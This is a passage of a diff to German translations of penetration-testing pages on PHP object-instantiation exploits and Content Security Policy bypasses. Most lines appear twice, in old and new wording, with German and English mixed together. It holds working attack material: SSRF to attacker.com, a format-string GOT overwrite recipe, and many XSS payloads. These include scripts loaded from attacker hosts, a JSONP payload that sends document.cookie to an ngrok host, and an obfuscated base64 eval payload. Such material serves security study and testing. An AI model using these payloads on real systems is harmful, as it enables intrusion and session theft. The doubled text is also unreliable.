Konstruktoren von Interesse können über die Reflection-API identifiziert werden, wie im folgenden Beispiel und dem Link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) gezeigt.
Interessante Konstruktoren lassen sich über die Reflection-API identifizieren, wie im folgenden Beispiel und im Link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) gezeigt.
**RCE über spezifische Methoden umfasst:**
**Zu spezifischen Methoden für RCE gehören:**
### **SSRF + Phar Deserialisierung**
### **SSRF + Phar Deserialization**
Die Klasse `SplFileObject` ermöglicht SSRF über ihren Konstruktor und erlaubt Verbindungen zu jeder URL:
Die Klasse `SplFileObject` ermöglicht SSRF über ihren Konstruktor und erlaubt Verbindungen zu beliebigen URLs:
```php
new SplFileObject('http://attacker.com/');
```
SSRF kann in PHP-Versionen vor 8.0 unter Verwendung des Phar-Protokolls zu Deserialisierungsangriffen führen.
SSRF kann in Versionen von PHP vor 8.0 unter Verwendung des Phar-Protokolls zu deserialization attacks führen.
### **Ausnutzen von PDOs**
### **Exploiting PDOs**
Der Konstruktor der PDO-Klasse ermöglicht Verbindungen zu Datenbanken über DSN-Strings, was potenziell die Erstellung von Dateien oder andere Interaktionen ermöglicht:
Der Konstruktor der PDO-Klasse erlaubt Verbindungen zu Datenbanken über DSN-Strings und kann möglicherweise die Erstellung von Dateien oder andere Interaktionen ermöglichen:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Versionen von PHP bis 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die `SoapClient`- und `SimpleXMLElement`-Konstruktoren, abhängig von der Version von libxml2.
PHP-Versionen bis einschließlich 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die `SoapClient`- und `SimpleXMLElement`-Konstruktoren, abhängig von der libxml2-Version.
## RCE über die Imagick-Erweiterung
Bei der Analyse der **Abhängigkeiten eines Projekts** wurde festgestellt, dass **Imagick** für die **Befehlsausführung** durch die Instanziierung neuer Objekte genutzt werden kann. Dies bietet eine Gelegenheit zur Ausnutzung von Schwachstellen.
Bei der Analyse der **Projektabhängigkeiten** wurde festgestellt, dass **Imagick** durch Instanziieren neuer Objekte für **command execution** missbraucht werden kann. Dies eröffnet Möglichkeiten zur Ausnutzung von Schwachstellen.
### VID-Parser
### VID parser
Die Fähigkeit des VID-Parsers, Inhalte an einen beliebigen angegebenen Pfad im Dateisystem zu schreiben, wurde identifiziert. Dies könnte zur Platzierung einer PHP-Shell in einem webzugänglichen Verzeichnis führen, was Remote Code Execution (RCE) ermöglicht.
Es wurde festgestellt, dass der VID-Parser Inhalte an beliebige Pfade im Dateisystem schreiben kann. Dadurch könnte eine PHP-Shell in ein webzugängliches Verzeichnis abgelegt werden, was Remote Code Execution (RCE) ermöglicht.
#### VID-Parser + Datei-Upload
#### VID Parser + File Upload
Es wird angemerkt, dass PHP hochgeladene Dateien vorübergehend in `/tmp/phpXXXXXX` speichert. Der VID-Parser in Imagick, der das **msl**-Protokoll verwendet, kann Platzhalter in Dateipfaden verarbeiten, was den Transfer der temporären Datei an einen gewählten Ort erleichtert. Diese Methode bietet einen zusätzlichen Ansatz, um beliebige Dateien im Dateisystem zu schreiben.
Es ist zu beachten, dass PHP hochgeladene Dateien temporär in `/tmp/phpXXXXXX` speichert. Der VID-Parser in Imagick, der das **msl**-Protokoll verwendet, kann Wildcards in Dateipfaden verarbeiten und so die Übertragung der temporären Datei an einen gewählten Ort ermöglichen. Diese Methode bietet einen zusätzlichen Ansatz, beliebiges Dateischreiben im Dateisystem zu erreichen.
### PHP-Absturz + Brute Force
### PHP Crash + Brute Force
Eine Methode, die in der [**originalen Beschreibung**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beschrieben ist, beinhaltet das Hochladen von Dateien, die einen Serverabsturz auslösen, bevor sie gelöscht werden. Durch Brute-Forcing des Namens der temporären Datei wird es möglich, dass Imagick beliebigen PHP-Code ausführt. Diese Technik erwies sich jedoch nur in einer veralteten Version von ImageMagick als effektiv.
Eine in der [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beschriebene Methode beinhaltet das Hochladen von Dateien, die einen Serverabsturz vor der Löschung auslösen. Durch Brute-Forcing des Namens der temporären Datei kann Imagick beliebigen PHP-Code ausführen. Diese Technik funktionierte jedoch nur in einer veralteten Version von ImageMagick.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Wenn Benutzereingaben den Klassennamen kontrollieren (z.B., `new $_GET['model']()`), führte PHP 7.0.0 im Zuge des `Throwable`-Refactorings einen temporären Bug ein, bei dem die Engine fälschlicherweise den Klassennamen während der Auflösung als printf-Formatstring behandelte. Dies ermöglicht klassische printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds).
Minimales reproduzierbares verwundbares Muster:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Exploitation outline (aus der Referenz):
- Leak addresses via `%p` im Klassennamen, um ein beschreibbares Ziel zu finden:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- Verwende positionale Parameter und width specifiers, um eine exakte Byte-Anzahl zu setzen, dann `%n`, um diesen Wert an eine auf dem stack erreichbare Adresse zu schreiben, ziele auf einen GOT slot (z.B. `free`), um ihn teilweise zu `system` zu überschreiben.
- Trigger die hijacked function, indem ein Klassenname mit einer shell pipe übergeben wird, um `system("id")` aufzurufen.
Anmerkungen:
- Funktioniert nur unter PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); in späteren Releases behoben. Schweregrad: kritisch, falls arbitrary class instantiation vorhanden ist.
- Typische payloads verketten viele `%p`, um den stack zu durchsuchen, und nutzen dann `%.<width>d%<pos>$n`, um die partielle Überschreibung zu platzieren.
## Referenzen
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,15 +4,15 @@
## Was ist CSP
Content Security Policy (CSP) wird als eine Browsertechnologie anerkannt, die hauptsächlich darauf abzielt, **vor Angriffen wie Cross-Site-Scripting (XSS)** zu schützen. Es funktioniert, indem es Pfade und Quellen definiert und detailliert, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Reihe von Elementen wie Bilder, Frames und JavaScript. Zum Beispiel könnte eine Richtlinie das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`.
Content Security Policy (CSP) ist als Browser-Technologie anerkannt und dient in erster Linie dem **Schutz vor Angriffen wie Cross-Site Scripting (XSS)**. Sie funktioniert, indem Pfade und Quellen definiert und spezifiziert werden, von denen Ressourcen sicher vom Browser geladen werden dürfen. Diese Ressourcen umfassen Elemente wie Bilder, Frames und JavaScript. Beispielsweise kann eine Policy das Laden und Ausführen von Ressourcen aus derselben Domain (`self`) erlauben, einschließlich inline-Ressourcen und der Ausführung von String-Code über Funktionen wie `eval`, `setTimeout` oder `setInterval`.
Die Implementierung von CSP erfolgt durch **Antwort-Header** oder durch die Einfügung von **Meta-Elementen in die HTML-Seite**. In Übereinstimmung mit dieser Richtlinie setzen Browser diese Bestimmungen proaktiv durch und blockieren sofort alle erkannten Verstöße.
Die Implementierung von CSP erfolgt über **Response-Header** oder durch Einfügen von **Meta-Elementen in die HTML-Seite**. Browser setzen diese Vorgaben durch und blockieren erkannte Verstöße sofort.
- Implementiert über Antwort-Header:
- Implementiert über Response-Header:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Implementiert über das Meta-Tag:
- Über ein Meta-Tag implementiert:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
@ -20,12 +20,12 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
CSP kann mit diesen Headern durchgesetzt oder überwacht werden:
- `Content-Security-Policy`: Setzt die CSP durch; der Browser blockiert alle Verstöße.
- `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Pre-Production-Umgebungen.
- `Content-Security-Policy`: Erzwingt die CSP; der Browser blockiert alle Verstöße.
- `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal zum Testen in Vorproduktionsumgebungen.
### Defining Resources
CSP beschränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
CSP beschränkt die Ursprünge, von denen sowohl aktiver als auch passiver Content geladen werden darf, und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
```bash
default-src 'none';
img-src 'self';
@ -39,42 +39,42 @@ object-src 'none';
```
### Direktiven
- **script-src**: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripte und Skripte, die durch Ereignis-Handler oder XSLT-Stylesheets ausgelöst werden.
- **default-src**: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn spezifische Abrufrichtlinien fehlen.
- **child-src**: Gibt erlaubte Ressourcen für Web-Worker und eingebettete Frame-Inhalte an.
- **connect-src**: Beschränkt URLs, die mit Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können.
- **script-src**: Erlaubt bestimmte Quellen für JavaScript, einschließlich URLs, Inline-Skripten und Skripten, die durch Event-Handler oder XSLT-Stylesheets ausgelöst werden.
- **default-src**: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn spezifische fetch-Direktiven fehlen.
- **child-src**: Gibt erlaubte Ressourcen für Web Worker und eingebettete Frame-Inhalte an.
- **connect-src**: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket oder XMLHttpRequest geladen werden können.
- **frame-src**: Beschränkt URLs für Frames.
- **frame-ancestors**: Gibt an, welche Quellen die aktuelle Seite einbetten können, anwendbar auf Elemente wie `<frame>`, `<iframe>`, `<object>`, `<embed>` und `<applet>`.
- **frame-ancestors**: Gibt an, welche Quellen die aktuelle Seite einbetten dürfen; anwendbar auf Elemente wie `<frame>`, `<iframe>`, `<object>`, `<embed>`, und `<applet>`.
- **img-src**: Definiert erlaubte Quellen für Bilder.
- **font-src**: Gibt gültige Quellen für Schriften an, die mit `@font-face` geladen werden.
- **manifest-src**: Definiert erlaubte Quellen von Anwendungsmanifestdateien.
- **media-src**: Definiert erlaubte Quellen für das Laden von Medienobjekten.
- **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente.
- **base-uri**: Gibt erlaubte URLs für das Laden mit `<base>`-Elementen an.
- **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf.
- **font-src**: Gibt gültige Quellen für Schriften an, die mittels `@font-face` geladen werden.
- **manifest-src**: Definiert erlaubte Quellen für Application-Manifest-Dateien.
- **media-src**: Definiert erlaubte Quellen zum Laden von Medienobjekten.
- **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>`, und `<applet>`-Elemente.
- **base-uri**: Gibt erlaubte URLs für das Laden über `<base>`-Elemente an.
- **form-action**: Listet gültige Endpunkte für Formular-Submits auf.
- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen darf.
- **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
- **sandbox**: Wendet Einschränkungen an, die ähnlich wie das Sandbox-Attribut eines `<iframe>` sind.
- **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
- **sandbox**: Wendet Einschränkungen ähnlich dem sandbox-Attribut eines `<iframe>` an.
- **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, falls die Richtlinie verletzt wird.
- **worker-src**: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
- **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab abgerufen werden.
- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, Formular, window.location, window.open usw.)
- **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die geholt oder vorab geladen werden.
- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf irgendeine Weise navigieren kann (a, form, window.location, window.open, etc.)
### Quellen
- `*`: Erlaubt alle URLs, außer denen mit `data:`, `blob:`, `filesystem:`-Schemas.
- `'self'`: Erlaubt das Laden von derselben Domain.
- `'data'`: Erlaubt das Laden von Ressourcen über das Daten-Schema (z. B. Base64-kodierte Bilder).
- `'none'`: Blockiert das Laden von jeder Quelle.
- `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.
- `'unsafe-hashes'`: Ermöglicht spezifische Inline-Ereignis-Handler.
- `'unsafe-inline'`: Erlaubt die Verwendung von Inline-Ressourcen wie Inline-`<script>` oder `<style>`, aus Sicherheitsgründen nicht empfohlen.
- `'nonce'`: Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmal verwendete Zahl).
- Wenn Sie eine eingeschränkte Ausführung von JS haben, ist es möglich, einen verwendeten Nonce innerhalb der Seite mit `doc.defaultView.top.document.querySelector("[nonce]")` zu erhalten und ihn dann wiederzuverwenden, um ein bösartiges Skript zu laden (wenn strict-dynamic verwendet wird, kann jede erlaubte Quelle neue Quellen laden, sodass dies nicht erforderlich ist), wie in:
- `*`: Erlaubt alle URLs außer solchen mit den Schemen `data:`, `blob:`, `filesystem:`.
- `'self'`: Erlaubt das Laden aus derselben Domain.
- `'data'`: Erlaubt Ressourcen über das data-Schema zu laden (z. B. Base64-kodierte Bilder).
- `'none'`: Sperrt das Laden von allen Quellen.
- `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden; aus Sicherheitsgründen nicht empfohlen.
- `'unsafe-hashes'`: Ermöglicht bestimmte inline Event-Handler.
- `'unsafe-inline'`: Erlaubt die Verwendung von Inline-Ressourcen wie inline `<script>` oder `<style>`; aus Sicherheitsgründen nicht empfohlen.
- `'nonce'`: Eine Whitelist für bestimmte inline-Skripte, die einen kryptographischen Nonce (einmal verwendete Zahl) nutzen.
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
<details>
<summary>Skript laden, das Nonce wiederverwendet</summary>
<summary>Skript laden: Nonce wiederverwenden</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
@ -88,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Whitelistet Skripte mit einem spezifischen sha256-Hash.
- `'strict-dynamic'`: Erlaubt das Laden von Skripten aus jeder Quelle, wenn sie durch ein nonce oder einen Hash auf die Whitelist gesetzt wurde.
- `'host'`: Gibt einen spezifischen Host an, wie `example.com`.
- `'sha256-<hash>'`: Erlaubt Skripte mit einem spezifischen sha256-Hash.
- `'strict-dynamic'`: Erlaubt das Laden von Skripten aus beliebigen Quellen, wenn diese durch ein nonce oder einen hash auf die Whitelist gesetzt wurden.
- `'host'`: Gibt einen spezifischen Host an, z. B. `example.com`.
- `https:`: Beschränkt URLs auf solche, die HTTPS verwenden.
- `blob:`: Erlaubt das Laden von Ressourcen von Blob-URLs (z.B. Blob-URLs, die über JavaScript erstellt wurden).
- `filesystem:`: Erlaubt das Laden von Ressourcen vom Dateisystem.
- `'report-sample'`: Beinhaltet ein Beispiel des verletzenden Codes im Verletzungsbericht (nützlich für das Debugging).
- `'strict-origin'`: Ähnlich wie 'self', stellt jedoch sicher, dass das Sicherheitsniveau des Protokolls der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).
- `'strict-origin-when-cross-origin'`: Sendet vollständige URLs bei Anfragen mit demselben Ursprung, sendet jedoch nur den Ursprung, wenn die Anfrage cross-origin ist.
- `'unsafe-allow-redirects'`: Erlaubt das Laden von Ressourcen, die sofort zu einer anderen Ressource umleiten. Nicht empfohlen, da es die Sicherheit schwächt.
- `blob:`: Erlaubt das Laden von Ressourcen von Blob-URLs (z. B. Blob-URLs, die via JavaScript erstellt wurden).
- `filesystem:`: Erlaubt das Laden von Ressourcen aus dem Dateisystem.
- `'report-sample'`: Fügt dem Verletzungsbericht ein Beispiel des verletzenden Codes hinzu (nützlich zum Debuggen).
- `'strict-origin'`: Ähnlich wie 'self', stellt jedoch sicher, dass das Protokoll-Sicherheitsniveau der Quellen mit dem des Dokuments übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).
- `'strict-origin-when-cross-origin'`: Sendet bei gleichoriginigen Anfragen vollständige URLs, bei cross-origin-Anfragen jedoch nur die Origin.
- `'unsafe-allow-redirects'`: Erlaubt das Laden von Ressourcen, die sofort auf eine andere Ressource weiterleiten. Nicht empfohlen, da es die Sicherheit schwächt.
## Unsichere CSP-Regeln
@ -105,10 +105,11 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/><script>alert(1);</script>`
Funktionierender payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' über Iframes
{{#ref}}
csp-bypass-self-+-unsafe-inline-with-iframes.md
{{#endref}}
@ -116,7 +117,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> Dies funktioniert nicht, für weitere Informationen [**prüfen Sie dies**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> Dies funktioniert nicht, für mehr Infos [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
@ -126,9 +127,9 @@ Funktionierender Payload:
```
### strict-dynamic
Wenn Sie es irgendwie schaffen können, dass ein **erlaubter JS-Code ein neues Skript-Tag** im DOM mit Ihrem JS-Code erstellt, weil ein erlaubtes Skript es erstellt, wird das **neue Skript-Tag ausgeführt**.
Wenn du es irgendwie schaffst, dass ein **erlaubter JS-Code ein neues script tag** im DOM mit deinem JS-Code erstellt (weil ein erlaubtes Script es erzeugt), dann wird das **neue script tag zur Ausführung zugelassen**.
### Wildcard (*)
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
@ -137,13 +138,13 @@ Funktionierender Payload:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Fehlende object-src und default-src
### Fehlende object-src- und default-src-Direktiven
> [!CAUTION] > **Es scheint, dass dies nicht mehr funktioniert**
```yaml
Content-Security-Policy: script-src 'self' ;
```
Funktionierende Payloads:
Funktionierende payloads:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
@ -153,30 +154,28 @@ Funktionierende Payloads:
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Wenn Sie eine JS-Datei hochladen können, können Sie diese CSP umgehen:
Wenn du eine JS-Datei hochladen kannst, kannst du diese CSP umgehen:
Funktionierender Payload:
Funktionierender payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Es ist jedoch sehr wahrscheinlich, dass der Server **die hochgeladene Datei validiert** und nur **bestimmte Dateitypen** zulässt.
Es ist jedoch sehr wahrscheinlich, dass der Server die **hochgeladene Datei validiert** und nur zulässt, dass du **bestimmte Dateitypen hochlädst**.
Darüber hinaus, selbst wenn Sie einen **JS-Code in** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wäre das nicht genug, da einige Server wie der Apache-Server **den MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **die Ausführung von Javascript**-Code in etwas, das ein Bild sein sollte, **ablehnen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache die _**.wave**_ Erweiterung nicht kennt, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient.
Außerdem, selbst wenn du **JS code inside** in einer Datei hochladen könntest, deren Erweiterung vom Server akzeptiert wird (z. B.: _script.png_), reicht das nicht aus, weil einige Server wie apache server den MIME-Typ der Datei anhand der Erweiterung auswählen und Browser wie Chrome die Ausführung von Javascript-Code innerhalb von etwas, das ein Bild sein sollte, ablehnen. "Glücklicherweise" passieren Fehler. Zum Beispiel habe ich in einem CTF gelernt, dass **Apache doesn't know** die _**.wave**_ Erweiterung, daher serviert es diese nicht mit einem **MIME type like audio/***.
Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
Von hier aus, wenn du eine XSS und einen File Upload findest und es schaffst, eine **misinterpreted extension** zu finden, könntest du versuchen, eine Datei mit dieser Endung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei prüft, erstelle ein polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
Wenn es nicht möglich ist, JS zu injizieren, könnten Sie dennoch versuchen, beispielsweise Anmeldeinformationen **durch das Injizieren einer Formularaktion** zu exfiltrieren (und vielleicht erwarten, dass Passwortmanager die Passwörter automatisch ausfüllen). Sie finden ein [**Beispiel in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Beachten Sie auch, dass `default-src` keine Formularaktionen abdeckt.
### Third Party Endpoints + ('unsafe-eval')
Wenn es nicht möglich ist, JS zu injizieren, könntest du trotzdem versuchen, z. B. Zugangsdaten zu exfiltrieren, indem du eine **injecting a form action** (und eventuell in der Erwartung, dass Password-Manager Passwörter automatisch ausfüllen). Du findest ein [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Außerdem beachte, dass `default-src` form actions nicht abdeckt.
> [!WARNING]
> Für einige der folgenden Payloads ist **`unsafe-eval` nicht einmal erforderlich**.
> Bei einigen der folgenden payloads ist **`unsafe-eval` nicht einmal nötig**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Laden Sie eine verwundbare Version von Angular und führen Sie beliebigen JS aus:
Lade eine verwundbare Version von angular und führe beliebigen JS-Code aus:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -197,10 +196,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([siehe diesen Beitrag](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads, die Angular und eine Bibliothek nutzen, deren Funktionen das `window`-Objekt zurückgeben ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> Der Beitrag zeigt, dass Sie **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** können, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
> Der Beitrag zeigt, dass man alle **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS libraries repo) **laden** kann, alle hinzugefügten Funktionen jeder Bibliothek ausführen und prüfen, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -230,9 +229,9 @@ Angular XSS aus einem Klassennamen:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Missbrauch des Google reCAPTCHA JS-Codes
#### Missbrauch von google recaptcha JS code
Laut [**diesem CTF-Bericht**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) können Sie [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) innerhalb einer CSP missbrauchen, um beliebigen JS-Code auszuführen und die CSP zu umgehen:
Laut [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) kannst du [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) innerhalb einer CSP missbrauchen, um beliebigen JS code auszuführen und die CSP zu umgehen:
```html
<div
ng-controller="CarouselController as c"
@ -243,7 +242,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Mehr [**Payloads aus diesem Bericht**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Mehr [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -260,21 +259,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Missbrauch von www.google.com für offene Weiterleitungen
#### Ausnutzen von www.google.com für open redirect
Die folgende URL leitet zu example.com weiter (von [hier](https://www.landh.tech/blog/20240304-google-hack-50000/)):
Die folgende URL leitet zu example.com weiter (von [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Missbrauch von \*.google.com/script.google.com
Abusing \*.google.com/script.google.com
Es ist möglich, Google Apps Script zu missbrauchen, um Informationen auf einer Seite innerhalb von script.google.com zu erhalten. Wie es [in diesem Bericht](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) gemacht wird.
Es ist möglich, Google Apps Script zu abuse, um Informationen auf einer Seite innerhalb von script.google.com zu empfangen. Wie es [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Drittanbieter-Endpunkte + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Szenarien wie dieses, in denen `script-src` auf `self` und eine bestimmte, auf die Whitelist gesetzte Domain eingestellt ist, können mit JSONP umgangen werden. JSONP-Endpunkte erlauben unsichere Callback-Methoden, die es einem Angreifer ermöglichen, XSS durchzuführen, funktionierender Payload:
Szenarien wie dieses, in denen `script-src` auf `self` gesetzt ist und eine bestimmte Domain weißgelistet ist, können mithilfe von JSONP umgangen werden. JSONP-Endpunkte erlauben unsichere Callback-Methoden, die einem Angreifer XSS ermöglichen. Funktionierender Payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -288,18 +287,18 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum CSP-Bypass verschiedener Websites.**
